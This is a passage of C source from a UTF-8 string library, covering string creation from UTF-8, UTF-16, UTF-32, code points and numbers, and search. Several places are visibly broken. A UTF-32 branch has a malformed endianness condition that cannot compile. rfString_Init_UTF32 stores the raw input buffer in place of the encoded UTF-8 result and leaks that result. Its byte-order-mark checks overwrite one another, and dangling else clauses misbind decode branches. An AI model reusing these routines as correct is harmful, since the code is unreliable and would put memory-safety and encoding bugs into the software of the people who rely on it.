free(codepoints);\n#endif\n// /===End of Non-UTF-8 code===// /\n    // /progress normally since here we have a UTF-8 buffer\n    // check for validity of the given sequence and get the character length\n    uint32_t byteLength;\n    if( rfUTF8_VerifySequence(buff,&byteLength) == RF_FAILURE)\n    {\n        LOG_ERROR(\"Error at String Allocation due to invalid UTF-8 byte sequence\",RE_STRING_INIT_FAILURE);\n        if(buffAllocated == true)\n            free(buff);\n        return 0;\n    }\n\n    RF_String* ret;\n    ret = rfLMS_Push(RF_LMS,sizeof(RF_String));\n    if(ret == 0)\n    {\n        LOG_ERROR(\"Memory allocation from the Local Memory Stack failed. Insufficient local memory stack space. Consider compiling the library with bigger stack space. Quitting proccess...\",\n                  RE_LOCALMEMSTACK_INSUFFICIENT);\n        exit(RE_LOCALMEMSTACK_INSUFFICIENT);\n    }\n    // get length\n    ret->byteLength = byteLength;\n\n    // now that we know the length we can allocate the buffer and copy the bytes\n    ret->bytes = rfLMS_Push(RF_LMS,ret->byteLength+1);\n    if(ret->bytes == 0)\n    {\n        LOG_ERROR(\"Memory allocation from the Local Memory Stack failed. Insufficient local memory stack space. Consider compiling the library with bigger stack space. Quitting proccess...\",\n                  RE_LOCALMEMSTACK_INSUFFICIENT);\n        exit(RE_LOCALMEMSTACK_INSUFFICIENT);\n    }\n    memcpy(ret->bytes,buff,ret->byteLength+1);\n    // finally free stuff if needed\n    if(buffAllocated == true)\n        free(buff);\n    return ret;\n\n// /cleanup code for non-UTF-8 cases\n#if (RF_OPTION_SOURCE_ENCODING == RF_UTF16_LE) || (RF_OPTION_SOURCE_ENCODING == RF_UTF16_BE)\ncleanup:\n#if RF_OPTION_SOURCE_ENCODING == RF_UTF16_LE\n    LOG_ERROR(\"Temporary RF_String creation from a UTF-16 Little Endian buffer failed due to UTF-16 decoding failure\",RE_UTF16_INVALID_SEQUENCE);\n#elif RF_OPTION_SOURCE_ENCODING == RF_UTF16_BE\n    LOG_ERROR(\"Temporary RF_String creation from a UTF-16 Big Endian buffer failed due to UTF-16 decoding failure\",RE_UTF16_INVALID_SEQUENCE);\n#endif\n    free(codepoints);\n    if(buffAllocated == true)\n        free(buff);\n    return 0;\n#endif\n}\nRF_String* i_NVrfString_CreateLocal(const char* s)\n{\n#if RF_OPTION_SOURCE_ENCODING != RF_UTF8\n    uint32_t characterLength,*codepoints,i=0,j;\n    char* buff;\n#endif\n    // remember the stack pointer before this macro evaluation\n    rfLMS_MacroEvalPtr(RF_LMS);\n// /===Start of Non-UTF-8 code===// /\n#if (RF_OPTION_SOURCE_ENCODING  ==  RF_UTF16_LE) || (RF_OPTION_SOURCE_ENCODING  ==  RF_UTF16_BE)\n    // find the bytelength of the UTF-16 buffer\n    while(s[i] != '\\0' &&s[i+1]!= '\\0')\n        i++;\n    i+=2;\n    // allocate the codepoint buffer\n    RF_MALLOC(codepoints,i/2)\n#elif (RF_OPTION_SOURCE_ENCODING  ==  RF_UTF32_LE) || (RF_OPTION_SOURCE_ENCODING  ==  RF_UTF32_BE)\n    // find the bytelength of the UTF-32 buffer\n    while(s[i] != '\\0' && s[i+1]!= '\\0' && s[i+2]!= '\\0' && s[i+3]!= '\\0')\n        i++;\n    i+=4;\n    // allocate the codepoint buffer\n    RF_MALLOC(codepoints,i)\n#endif\n#if (RF_OPTION_SOURCE_ENCODING  ==  RF_UTF16_LE)// decode the UTF16\n    if(rfUTILS_Endianess() == RF_LITTLE_ENDIAN)\n        if(rfUTF16_Decode(s,&characterLength,codepoints) == false)\n            goto cleanup;\n    else\n        if(rfUTF16_Decode_swap(s,&characterLength,codepoints)==false)\n            goto cleanup;\n\n#elif RF_OPTION_SOURCE_ENCODING == RF_UTF16_BE// decode the UTF16\n    if(rfUTILS_Endianess() == RF_LITTLE_ENDIAN)\n        if(rfUTF16_Decode_swap(s,&characterLength,codepoints) == false)\n            goto cleanup;\n    else\n        if(rfUTF16_Decode(s,&characterLength,codepoints)==false)\n            goto cleanup;\n#elif RF_OPTION_SOURCE_ENCODING == RF_UTF32_LE// copy the UTF32 into the codepoint\n    memcpy(codepoints,s,i);\n    if(rfUTILS_Endianess != RF_LITTLE_ENDIAN)\n    {\n        for(j=0;j<i;j+=4)\n        {\n            rfUTILS_SwapEndianUI((uint32_t*)(codepoints+j))\n        }\n    }\n#elif RF_OPTION_SOURCE_ENCODING == RF_UTF32_BE// copy the UTF32 into the codepoint\n    memcpy(codepoints,s,i);\n    if(rfUTILS_Endianess !RF_BIG_ENDIAN RF_LITTLE_ENDIAN)\n    {\n        for(j=0;j<i;j+=4)\n        {\n            rfUTILS_SwapEndianUI((uint32_t*)(codepoints+j))\n        }\n    }\n#endif\n#if RF_OPTION_SOURCE_ENCODING != RF_UTF8 // in any case other than UTF-8 encode the codepoints into UTF-8 , and free them\n    if((buff =  rfUTF8_Encode(codepoints,characterLength,&byteLength)) == 0)\n    {\n        LOG_ERROR(\"While attempting to create a temporary RF_String the given byte sequence could not be properly encoded into UTF-8\",RE_UTF8_ENCODING);\n        free(codepoints);\n        return 0;\n    }\n    free(codepoints);\n#endif\n// /===End of Non-UTF-8 code===// /\n    // check for validity of the given sequence and get the character length\n    uint32_t byteLength;\n#if RF_OPTION_SOURCE_ENCODING == RF_UTF8\n    if( rfUTF8_VerifySequence(s,&byteLength) == RF_FAILURE)\n#else\n    if( rfUTF8_VerifySequence(buff,&byteLength) == RF_FAILURE)\n#endif\n    {\n        LOG_ERROR(\"Error at String Allocation due to invalid UTF-8 byte sequence\",RE_STRING_INIT_FAILURE);\n        return 0;\n    }\n\n    RF_String* ret;\n    ret = rfLMS_Push(RF_LMS,sizeof(RF_String));\n    if(ret == 0)\n    {\n        LOG_ERROR(\"Memory allocation from the Local Memory Stack failed during string allocation. Insufficient local memory stack space. Consider compiling the library with bigger stack space. Quitting proccess...\",\n                  RE_LOCALMEMSTACK_INSUFFICIENT);\n        exit(RE_LOCALMEMSTACK_INSUFFICIENT);\n    }\n    // get length\n    ret->byteLength = byteLength;\n\n    ret->bytes = rfLMS_Push(RF_LMS,ret->byteLength+1);\n    if(ret->bytes == 0)\n    {\n        LOG_ERROR(\"Memory allocation from the Local Memory Stack failed during string allocation. Insufficient local memory stack space. Consider compiling the library with bigger stack space. Quitting proccess...\",\n                  RE_LOCALMEMSTACK_INSUFFICIENT);\n        exit(RE_LOCALMEMSTACK_INSUFFICIENT);\n    }\n#if RF_OPTION_SOURCE_ENCODING == RF_UTF8\n    memcpy(ret->bytes,s,ret->byteLength+1);\n#else\n    memcpy(ret->bytes,buff,ret->byteLength+1);\n#endif\n    return ret;\n\n// /cleanup code for non-UTF-8 cases\n#if (RF_OPTION_SOURCE_ENCODING == RF_UTF16_LE) || (RF_OPTION_SOURCE_ENCODING == RF_UTF16_BE)\ncleanup:\n#if RF_OPTION_SOURCE_ENCODING == RF_UTF16_LE\n    LOG_ERROR(\"Temporary RF_String creation from a UTF-16 Little Endian buffer failed due to UTF-16 decoding failure\",RE_UTF16_INVALID_SEQUENCE);\n#elif RF_OPTION_SOURCE_ENCODING == RF_UTF16_BE\n    LOG_ERROR(\"Temporary RF_String creation from a UTF-16 Big Endian buffer failed due to UTF-16 decoding failure\",RE_UTF16_INVALID_SEQUENCE);\n#endif\n    free(codepoints);\n    return 0;\n#endif\n}\n\n\n\n// Initializes a string with the given characters. Given characters have to be in UTF-8. A check for valide sequence of bytes is performed.<b>Can't be used with RF_StringX</b>\n#ifndef RF_OPTION_DEFAULT_ARGUMENTS\nchar rfString_Init(RF_String* str,const char* s,...)\n#else\nchar i_rfString_Init(RF_String* str,const char* s,...)\n#endif\n{\n    READ_VSNPRINTF_ARGS(s,s,false)\n    // check for validity of the given sequence and get the character length\n    uint32_t byteLength;\n    if( rfUTF8_VerifySequence(buff,&byteLength) == RF_FAILURE)\n    {\n        LOG_ERROR(\"Error at String Initialization due to invalid UTF-8 byte sequence\",RE_STRING_INIT_FAILURE);\n        if(buffAllocated==true)\n            free(buff);\n        return false;\n    }\n\n    // get length\n    str->byteLength = byteLength;\n\n    // now that we know the length we can allocate the buffer and copy the bytes\n    RF_MALLOC(str->bytes,str->byteLength+1);\n    memcpy(str->bytes,buff,str->byteLength+1);\n    if(buffAllocated == true)\n        free(buff);\n    return true;\n}\n#ifdef RF_OPTION_DEFAULT_ARGUMENTS\nchar i_NVrfString_Init(RF_String* str,const char* s)\n{\n    // check for validity of the given sequence and get the character length\n    uint32_t byteLength;\n    if( rfUTF8_VerifySequence(s,&byteLength) == RF_FAILURE)\n    {\n        LOG_ERROR(\"Error at String Initialization due to invalid UTF-8 byte sequence\",RE_STRING_INIT_FAILURE);\n        return false;\n    }\n\n    // get length\n    str->byteLength = byteLength;\n\n    // now that we know the length we can allocate the buffer and copy the bytes\n    RF_MALLOC(str->bytes,str->byteLength+1);\n    memcpy(str->bytes,s,str->byteLength+1);\n\n    return true;\n}\n#endif\n\n// Allocates a String by turning a unicode code point in a String (encoded in UTF-8).\nRF_String* rfString_Create_cp(uint32_t codepoint)\n{\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    if(rfString_Init_cp(ret,codepoint) == true)\n    {\n        return ret;\n    }\n    // failure\n    free(ret);\n    return 0;\n}\n\n// Initializes a string by turning a unicode code point in a String (encoded in UTF-8).\nchar rfString_Init_cp(RF_String* str, uint32_t codepoint)\n{\n    // alloc enough for a character\n    RF_MALLOC(str->bytes,5)\n\n    // if we only need a byte to encode it\n    if(RF_HEXLE_UI(codepoint,0x007f))\n    {\n        str->bytes[0] = codepoint;\n        str->bytes[1] = '\\0';\n        str->byteLength = 1;\n    }\n    // if we need 2 bytes to encode it\n    else if( RF_HEXGE_UI(codepoint,0x0080) && RF_HEXLE_UI(codepoint,0x07ff))\n    {\n        // get the first bits of the first byte and encode them to the first byte\n        str->bytes[1] = (codepoint & 0x3F)|(0x02<<6);\n        // get the 5 following bits and encode them in the second byte\n        str->bytes[0] = ((codepoint & 0x7C0) >> 6)  | (0x6<<5);\n        str->bytes[2] = '\\0';\n        str->byteLength = 2;\n    }\n    // if we need 3 bytes to encode it\n    else if( RF_HEXGE_UI(codepoint,0x0800) && RF_HEXLE_UI(codepoint,0x0ffff))\n    {\n        // get the first bits of the first byte and encode them to the first byte\n        str->bytes[2] = (codepoint & 0x3F)|(0x02<<6);\n        // get the 6 following bits and encode them in the second byte\n        str->bytes[1] = ((codepoint & 0xFC0) >> 6)  | (0x02<<6);\n        // get the 4 following bits and encode them in the third byte\n        str->bytes[0] = (((codepoint & 0xF000))>>12) | (0xE<<4);\n        str->bytes[3] = '\\0';\n        str->byteLength = 3;\n    }\n    // if we need 4 bytes to encode it\n    else if( RF_HEXGE_UI(codepoint,0x10000) && RF_HEXLE_UI(codepoint,0x10ffff))\n    {\n        // get the first bits of the first byte and encode them to the first byte\n        str->bytes[3] = (codepoint & 0x3F)|(0x02<<6);\n        // get the 6 following bits and encode them in the second byte\n        str->bytes[2] = ((codepoint & 0xFC0) >> 6)  | (0x02<<6);\n        // get the 6 following bits and encode them in the third byte\n        str->bytes[1] = (((codepoint & 0x3F000))>>12) | (0x02<<6);\n        // get the 3 following bits and encode them in the fourth byte\n        str->bytes[0] = (((codepoint & 0x1C0000))>>18) | (0x1E<<3);\n        str->bytes[4] = '\\0';\n        str->byteLength = 4;\n    }\n    else\n    {\n        LOG_ERROR(\"Attempted to encode an invalid unicode code point into a string\",RE_UTF8_INVALID_CODE_POINT);\n        free(str->bytes);\n        return false;\n    }\n\n    return true;\n}\n\n\n// Allocates and returns a string with the given integer\nRF_String* rfString_Create_i(int32_t i)\n{\n    // the size of the int32_t buffer\n    int32_t numLen;\n    // put the int32_t into a buffer and turn it in a char*\n    char buff[12];// max uint32_t is 4,294,967,295 in most environment so 12 chars will certainly fit it\n    sprintf(buff,\"%d\",i);\n    numLen = strlen(buff);\n\n    // initialize the string and return it\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    ret->byteLength = numLen;\n    RF_MALLOC(ret->bytes,numLen+1);\n    strcpy(ret->bytes,buff);\n    return ret;\n}\n// Initializes a string with the given integer.\nchar rfString_Init_i(RF_String* str, int32_t i)\n{\n    // the size of the int32_t buffer\n    int32_t numLen;\n    // put the int32_t into a buffer and turn it in a char*\n    char buff[12];// max uint32_t is 4,294,967,295 in most environment so 12 chars will certainly fit it\n    sprintf(buff,\"%d\",i);\n    numLen = strlen(buff);\n\n\n    str->byteLength = numLen;\n    RF_MALLOC(str->bytes,numLen+1);\n    strcpy(str->bytes,buff);\n\n    return true;\n}\n\n// Allocates and returns a string with the given float\nRF_String* rfString_Create_f(float f)\n{\n    // allocate a buffer for the float in characters\n    char* buff;\n    RF_MALLOC(buff,128);\n    sprintf(buff,\"%f\",f);\n    uint32_t len = strlen(buff);\n\n    // initialize and return the string\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    ret->byteLength = len;\n    RF_MALLOC(ret->bytes,len+1);\n    strcpy(ret->bytes,buff);\n\n    free(buff);\n\n    return ret;\n}\n// Initializes a string with the given float\nchar rfString_Init_f(RF_String* str,float f)\n{\n    // allocate a buffer for the float in characters\n    char* buff;\n    RF_MALLOC(buff,128);\n    sprintf(buff,\"%f\",f);\n    uint32_t len = strlen(buff);\n\n\n    str->byteLength = len;\n    RF_MALLOC(str->bytes,len+1);\n    strcpy(str->bytes,buff);\n    free(buff);\n\n    // success\n    return true;\n}\n\n// Allocates and returns a string with the given UTF-16 byte sequence. Given characters have to be in UTF-16. A check for valid sequence of bytes is performed.<b>Can't be used with RF_StringX</b>\nRF_String* rfString_Create_UTF16(const char* s,char endianess)\n{\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    if(rfString_Init_UTF16(ret,s,endianess)==false)\n    {\n        free(ret);\n        return 0;\n    }\n    return ret;\n}\n// Initializes a string with the given UTF-16 byte sequence. Given characters have to be in UTF-16. A check for valid sequence of bytes is performed.<b>Can't be used with RF_StringX</b>\nchar rfString_Init_UTF16(RF_String* str,const char* s,char endianess)\n{\n    // decode the utf-16 and get the code points\n    uint32_t* codepoints;\n    uint32_t byteLength,characterLength,utf8ByteLength;\n    char* utf8;\n    byteLength = 0;\n    while(s[byteLength]!= 0 || s[byteLength+1]!=0)\n    {\n        byteLength++;\n    }\n    byteLength+=3;// for the last utf-16 null termination character\n    RF_MALLOC(codepoints,byteLength*2) // allocate the codepoints\n    // parse the given byte stream depending on the endianess parameter\n    switch(endianess)\n    {\n        case RF_LITTLE_ENDIAN:\n        case RF_BIG_ENDIAN:\n            if(rfUTILS_Endianess() == endianess)// same endianess as the local\n            {\n                if(rfUTF16_Decode(s,&characterLength,codepoints) == false)\n                {\n                    free(codepoints);\n                    LOG_ERROR(\"String initialization failed due to invalide UTF-16 sequence\",RE_STRING_INIT_FAILURE);\n                    return false;\n                }\n            }\n            else// different\n            {\n                if(rfUTF16_Decode_swap(s,&characterLength,codepoints) == false)\n                {\n                    free(codepoints);\n                    LOG_ERROR(\"String initialization failed due to invalide UTF-16 sequence\",RE_STRING_INIT_FAILURE);\n                    return false;\n                }\n            }\n        break;\n        default:\n            LOG_ERROR(\"Illegal endianess value provided\",RE_INPUT);\n            free(codepoints);\n            return false;\n        break;\n    }// switch ends\n    // now encode these codepoints into UTF8\n    if( (utf8 = rfUTF8_Encode(codepoints,characterLength,&utf8ByteLength))==0)\n    {\n        free(codepoints);\n        return false;\n    }\n    // success\n    free(codepoints);\n    str->bytes = utf8;\n    str->byteLength = utf8ByteLength;\n    return true;\n\n}\n\n// Allocates and returns a string with the given UTF-32 byte sequence. Given characters have to be in UTF-32.\nRF_String* rfString_Create_UTF32(const char* s)\n{\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    if(rfString_Init_UTF32(ret,s)==false)\n    {\n        free(ret);\n        return 0;\n    }\n    return ret;\n}\n// Initializes a string with the given UTF-32 byte sequence. Given characters have to be in UTF-32.\nchar rfString_Init_UTF32(RF_String* str,const char* s)\n{\n    char swapE = false;\n    uint32_t off = 0;\n    int32_t i = 0;\n\n    // get the buffer and if swapping is needed do it for all character\n    uint32_t* codeBuffer = (uint32_t*)(s+off);\n\n    // first of all check for existence of BOM in the beginning of the sequence\n    if(RF_HEXEQ_UI(codeBuffer[0],0xFEFF))// big endian\n    {\n        if(rfUTILS_Endianess()==RF_LITTLE_ENDIAN)\n            swapE = true;\n    }\n    if(RF_HEXEQ_UI(codeBuffer[0],0xFFFE0000))// little\n    {\n        if(rfUTILS_Endianess()==RF_BIG_ENDIAN)\n            swapE = true;\n    }\n    else// according to the standard no BOM means big endian\n    {\n        if(rfUTILS_Endianess() == RF_LITTLE_ENDIAN)\n            swapE = true;\n    }\n\n    // if we need to have endianess swapped do it\n    if(swapE==true)\n    {\n        while(codeBuffer[i] != 0)\n        {\n            rfUTILS_SwapEndianUI(codeBuffer+i);\n            i++;\n        }\n    }\n    // find the length of the utf32 buffer in characters\n    uint32_t length;\n    rfUTF32_Length(codeBuffer,length);\n\n    // turn the codepoints into a utf-8 encoded buffer\n    char* utf8;uint32_t utf8ByteLength;\n    if((utf8=rfUTF8_Encode(codeBuffer,length,&utf8ByteLength)) == 0)\n    {\n        return false;// error\n    }\n    // if the encoding happened correctly\n    if(codeBuffer != 0)\n    {\n        str->bytes = (char*)codeBuffer;\n        str->byteLength = utf8ByteLength;\n        return true;\n    }\n    // else return failure\n    return false;\n}\n\n// Assigns the value of the source string to the destination.Both strings should already be initialized and hold a value. It is an error to give null parameters.\nvoid i_rfString_Assign(RF_String* dest,void* sourceP)\n{\n    RF_String* source = (RF_String*)sourceP;\n    // only if the new string value won't fit in the buffer reallocate the buffer (let's avoid unecessary reallocs)\n    if(source->byteLength > dest->byteLength)\n    {\n        RF_REALLOC(dest->bytes,char,source->byteLength+1);\n    }\n    // now copy the value\n    memcpy(dest->bytes,source->bytes,source->byteLength+1);\n    // and fix the lengths\n    dest->byteLength = source->byteLength;\n}\n\n// Assigns the value of a unicode character to the string\nchar rfString_Assign_char(RF_String* str,uint32_t codepoint)\n{\n    // realloc if needed\n    if(str->byteLength <5)\n    {\n        RF_REALLOC(str->bytes,char,5);\n    }\n    // if we only need a byte to encode it\n    if(RF_HEXLE_UI(codepoint,0x007f))\n    {\n        str->bytes[0] = codepoint;\n        str->bytes[1] = '\\0';\n        str->byteLength = 1;\n    }\n    // if we need 2 bytes to encode it\n    else if( RF_HEXGE_UI(codepoint,0x0080) && RF_HEXLE_UI(codepoint,0x07ff))\n    {\n        // get the first bits of the first byte and encode them to the first byte\n        str->bytes[1] = (codepoint & 0x3F)|(0x02<<6);\n        // get the 5 following bits and encode them in the second byte\n        str->bytes[0] = ((codepoint & 0x7C0) >> 6)  | (0x6<<5);\n        str->bytes[2] = '\\0';\n        str->byteLength = 2;\n    }\n    // if we need 3 bytes to encode it\n    else if( RF_HEXGE_UI(codepoint,0x0800) && RF_HEXLE_UI(codepoint,0x0ffff))\n    {\n        // get the first bits of the first byte and encode them to the first byte\n        str->bytes[2] = (codepoint & 0x3F)|(0x02<<6);\n        // get the 6 following bits and encode them in the second byte\n        str->bytes[1] = ((codepoint & 0xFC0) >> 6)  | (0x02<<6);\n        // get the 4 following bits and encode them in the third byte\n        str->bytes[0] = (((codepoint & 0xF000))>>12) | (0xE<<4);\n        str->bytes[3] = '\\0';\n        str->byteLength = 3;\n    }\n    // if we need 4 bytes to encode it\n    else if( RF_HEXGE_UI(codepoint,0x10000) && RF_HEXLE_UI(codepoint,0x10ffff))\n    {\n        // get the first bits of the first byte and encode them to the first byte\n        str->bytes[3] = (codepoint & 0x3F)|(0x02<<6);\n        // get the 6 following bits and encode them in the second byte\n        str->bytes[2] = ((codepoint & 0xFC0) >> 6)  | (0x02<<6);\n        // get the 6 following bits and encode them in the third byte\n        str->bytes[1] = (((codepoint & 0x3F000))>>12) | (0x02<<6);\n        // get the 3 following bits and encode them in the fourth byte\n        str->bytes[0] = (((codepoint & 0x1C0000))>>18) | (0x1E<<3);\n        str->bytes[4] = '\\0';\n        str->byteLength = 4;\n    }\n    else\n    {\n        LOG_ERROR(\"Attempted to encode an invalid unicode code point into a string\",RE_UTF8_INVALID_CODE_POINT);\n        return false;\n    }\n\n    return true;\n}\n\n// Allocates and returns a string with the given characters. NO VALID-UTF8 check is performed\n#ifndef RF_OPTION_DEFAULT_ARGUMENTS\nRF_String* rfString_Create_nc(const char* s,...)\n#else\nRF_String* i_rfString_Create_nc(const char* s,...)\n#endif\n{\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    // get  the formatted string\n    READ_VSNPRINTF_ARGS(s,s,0);\n    // get the lengt of the byte buffer\n    ret->byteLength = bytesWritten;\n\n    // now that we know the length we can allocate the buffer and copy the bytes\n    RF_MALLOC(ret->bytes,ret->byteLength+1);\n    memcpy(ret->bytes,buff,ret->byteLength+1);\n    if(buffAllocated)\n        free(buff);\n    return ret;\n}\n#ifdef RF_OPTION_DEFAULT_ARGUMENTS\nRF_String* i_NVrfString_Create_nc(const char* s)\n{\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    // get length\n    ret->byteLength = strlen(s);\n\n    // now that we know the length we can allocate the buffer and copy the bytes\n    RF_MALLOC(ret->bytes,ret->byteLength+1);\n    memcpy(ret->bytes,s,ret->byteLength+1);\n    return ret;\n}\n#endif\n\n// Initializes a string with the given characters. NO VALID-UTF8 check is performed\n#ifndef RF_OPTION_DEFAULT_ARGUMENTS\nchar rfString_Init_nc(struct RF_String* str,const char* s,...)\n#else\nchar i_rfString_Init_nc(struct RF_String* str,const char* s,...)\n#endif\n{\n    // get the formatted string\n    READ_VSNPRINTF_ARGS(s,s,false)\n    // get its length\n    str->byteLength = bytesWritten;\n\n    // now that we know the length we can allocate the buffer and copy the bytes\n    RF_MALLOC(str->bytes,str->byteLength+1);\n    memcpy(str->bytes,buff,str->byteLength+1);\n    if(buffAllocated == true)\n        free(buff);\n    return true;\n}\n#ifdef RF_OPTION_DEFAULT_ARGUMENTS\nchar i_NVrfString_Init_nc(struct RF_String* str,const char* s)\n{\n    // get its length\n    str->byteLength = strlen(s);\n\n    // now that we know the length we can allocate the buffer and copy the bytes\n    RF_MALLOC(str->bytes,str->byteLength+1);\n    memcpy(str->bytes,s,str->byteLength+1);\n    return true;\n}\n#endif\n\n/*-------------------------------------------------------------------------Methods to get rid of an RF_String-------------------------------------------------------------------------------*/\n\n// Deletes a string object and also frees its pointer.It is an error to give a NULL(0x0) string for deleting. Will most probably lead to a segmentation fault\nvoid rfString_Destroy(RF_String* s)\n{\n    free(s->bytes);\n    free(s);\n}\n// Deletes a string object only, not its memory.It is an error to give a NULL(0x0) string for deleting. Will most probably lead to a segmentation fault\nvoid rfString_Deinit(RF_String* s)\n{\n    free(s->bytes);\n}\n/*------------------------------------------------------------------------ RF_String unicode conversio functions-------------------------------------------------------------------------------*/\n\n// Returns the strings contents as a UTF-16 buffer\nuint16_t* rfString_ToUTF16(RF_String* s,uint32_t* length)\n{\n    uint32_t* codepoints,charsN;\n    // get the unicode codepoints, no check here since RF_String is always guaranteed to have valid UTF=8 and as such valid codepoints\n    codepoints = rfUTF8_Decode(s->bytes,s->byteLength,&charsN);\n    // encode them in UTF-16, no check here since it comes from an RF_String which is always guaranteed to have valid UTF-8 and as such valid codepoints\n    return rfUTF16_Encode(codepoints,charsN,length);\n}\n\n// Returns the strings contents as a UTF-32 buffer\nuint32_t* rfString_ToUTF32(RF_String* s,uint32_t* length)\n{\n    // get the unicode codepoints, no check here since RF_String is always guaranteed to have valid UTF=8 and as such valid codepoints\n    return rfUTF8_Decode(s->bytes,s->byteLength,length);\n}\n\n/*------------------------------------------------------------------------ RF_String retrieval functions-------------------------------------------------------------------------------*/\n// Finds the length of the string in characters\nuint32_t rfString_Length(void* str)\n{\n    RF_String* s = (RF_String*)str;\n    uint32_t length,i;\n    RF_STRING_ITERATE_START(s,length,i)\n    RF_STRING_ITERATE_END(length,i);\n    return length;\n}\n\n// Retrieves the unicode code point of the parameter character.\nuint32_t rfString_GetChar(void* str,uint32_t c)\n{\n    RF_String* thisstr = (RF_String*)str;\n    uint32_t length,i;\n    uint32_t codePoint = RF_STRING_INDEX_OUT_OF_BOUNDS;\n    RF_STRING_ITERATE_START(thisstr,length,i)\n        // if we found the character,inspect the 4 different cases\n        if(length == c)\n        {\n            // take the codepoint from the byte position and break from the loop\n            codePoint = rfString_BytePosToCodePoint(thisstr,i);\n            break;\n        }\n    RF_STRING_ITERATE_END(length,i)\n\n    // and return the code point. Notice that if the character was not found this will return RF_STRING_INDEX_OUT_OF_BOUNDS\n    return codePoint;\n}\n\n// Retrieves the unicode code point of the parameter bytepos of the string. If the byte position is not the start of a character 0 is returned. This is an internal function, there is no need to use it. <i>Can be used with StringX</i>\nuint32_t rfString_BytePosToCodePoint(void* str,uint32_t i)\n{\n    uint32_t codePoint=0;\n    RF_String* thisstr = (RF_String*)str;\n    // /Here I am not checking if byte position 'i' is withing bounds and especially if it is a start of a character\n    // / This is assumed to have been checked or to be known beforehand by the programmer. That's one of the reasons\n    // / why this is an internal function and should not be used unless you know what you are doing\n    // if the lead bit of the byte is 0 then range is : U+0000 to U+0007F (1 byte)\n    if( ((thisstr->bytes[i] & 0x80)>>7) == 0 )\n    {\n        // and the code point is this whole byte only\n        codePoint = thisstr->bytes[i];\n    }\n    // if the leading bits are in the form of 0b110xxxxx then range is: U+0080 to U+07FF (2 bytes)\n    else if ( RF_HEXEQ_C( ( (~(thisstr->bytes[i] ^  0xC0))>>5),0x7) )\n    {\n        codePoint =0;\n        // from the second byte take the first 6 bits\n        codePoint = (thisstr->bytes[i+1] & 0x3F) ;\n        // from the first byte take the first 5 bits and put them in the start\n        codePoint |= ((thisstr->bytes[i] & 0x1F) << 6);\n    }\n    // if the leading bits are in the form of 0b1110xxxx then range is U+0800 to U+FFFF  (3 bytes)\n    else if( RF_HEXEQ_C( ( (~(thisstr->bytes[i] ^ 0xE0))>>4),0xF) )\n    {\n        codePoint = 0;\n        // from the third byte take the first 6 bits\n        codePoint = (thisstr->bytes[i+2] & 0x3F) ;\n        // from the second byte take the first 6 bits and put them to the left of the previous 6 bits\n        codePoint |= ((thisstr->bytes[i+1] & 0x3F) << 6);\n        // from the first byte take the first 4 bits and put them to the left of the previous 6 bits\n        codePoint |= ((thisstr->bytes[i] & 0xF) << 12);\n    }\n    // if the leading bits are in the form of 0b11110xxx then range is U+010000 to U+10FFFF (4 bytes)\n    else if( RF_HEXEQ_C( ( (~(thisstr->bytes[i] ^ 0xF0))>>3), 0x1F))\n    {\n        codePoint = 0;\n        // from the fourth byte take the first 6 bits\n        codePoint = (thisstr->bytes[i+3] & 0x3F) ;\n        // from the third byte take the first 6 bits and put them to the left of the previous 6 bits\n        codePoint |= ((thisstr->bytes[i+2] & 0x3F) << 6);\n        // from the second byte take the first 6 bits and put them to the left of the previous 6 bits\n        codePoint |= ((thisstr->bytes[i+1] & 0x3F) << 12);\n        // from the first byte take the first 3 bits and put them to the left of the previous 6 bits\n        codePoint |= ((thisstr->bytes[i] & 0x7) << 18);\n    }\n\n    return codePoint;\n}\n\n\n// Retrieves character position of a byte position\nuint32_t rfString_BytePosToCharPos(void* thisstrP,uint32_t bytepos,char before)\n{\n    // /here there is no check if this is actually a byte pos inside the string's\n    // /byte buffer. The programmer should have made sure it is before hand. This is why it is\n    // / an internal function and should only be used if you know what you are doing\n    RF_String* thisstr = (RF_String*)thisstrP;\n    uint32_t charPos = 0;\n    uint32_t byteI = 0;\n    // iterate the string's bytes until you get to the required byte\n    // if it is not a continuation byte, return the position\n    if(rfUTF8_IsContinuationByte(thisstr->bytes[bytepos])==false)\n    {\n        RF_STRING_ITERATE_START(thisstr,charPos,byteI)\n            if(byteI == bytepos)\n                return charPos;\n        RF_STRING_ITERATE_END(charPos,byteI)\n    }\n    // else  iterate the string's bytes until you get anything bigger than the required byte\n    RF_STRING_ITERATE_START(thisstr,charPos,byteI)\n        if(byteI > bytepos)\n            break;\n    RF_STRING_ITERATE_END(charPos,byteI)\n    // if we need the previous one return it\n    if(before == true)\n        return charPos-1;\n    // else return this\n    return charPos;\n}\n\n// Compares two Strings and returns true if they are equal and false otherwise\nchar i_rfString_Equal(void* s1P,void* s2P)\n{\n    RF_String* s1 = (RF_String*)s1P;\n    RF_String* s2 = (RF_String*)s2P;\n    if( strcmp(s1->bytes,s2->bytes)==0)\n    {\n        return true;\n    }\n    return false;\n}\n\n// Finds the existence of String sstr inside this string, either matching case or not\nint32_t i_rfString_Find(const void* str,const void* sstrP,const char* optionsP)\n{\n    // / @note TO SELF: If I make any changes to this function do not forget to change the private version that returns byte position too\n    // / located at string_private.c and called rfString_FindByte and rfString_FindByte_s\n    RF_String* thisstr = (RF_String*)str;\n    RF_String* sstr = (RF_String*)sstrP;\n    char options = *optionsP;\n\n    char* found = 0;\n    // if we want to match the case of the string then it's a simple search of matching characters\n    if( (RF_BITFLAG_ON( options,RF_CASE_IGNORE)) == false)\n    {\n        // if it is not found\n        if( (found = strstr(thisstr->bytes,sstr->bytes)) == 0)\n        {\n            return RF_FAILURE;\n        }\n        // get the byte position\n        uint32_t bytepos = found-thisstr->bytes;\n        // if we need the exact string as it is given\n        if(RF_BITFLAG_ON( options,RF_MATCH_WORD))\n        {\n            // check before the found string\n            if(bytepos != 0)\n            {\n                // if is is not a character\n                switch(thisstr->bytes[bytepos-1])\n                {\n                    case ' ':case '\\t':case '\\n':\n                    break;\n                    default:\n                        return RF_FAILURE;\n                    break;\n                }\n            }\n            // check after the found string\n            if(bytepos+sstr->byteLength != thisstr->byteLength)\n            {\n                // if is is not a character\n                switch(thisstr->bytes[bytepos+sstr->byteLength])\n                {\n                    case ' ':case 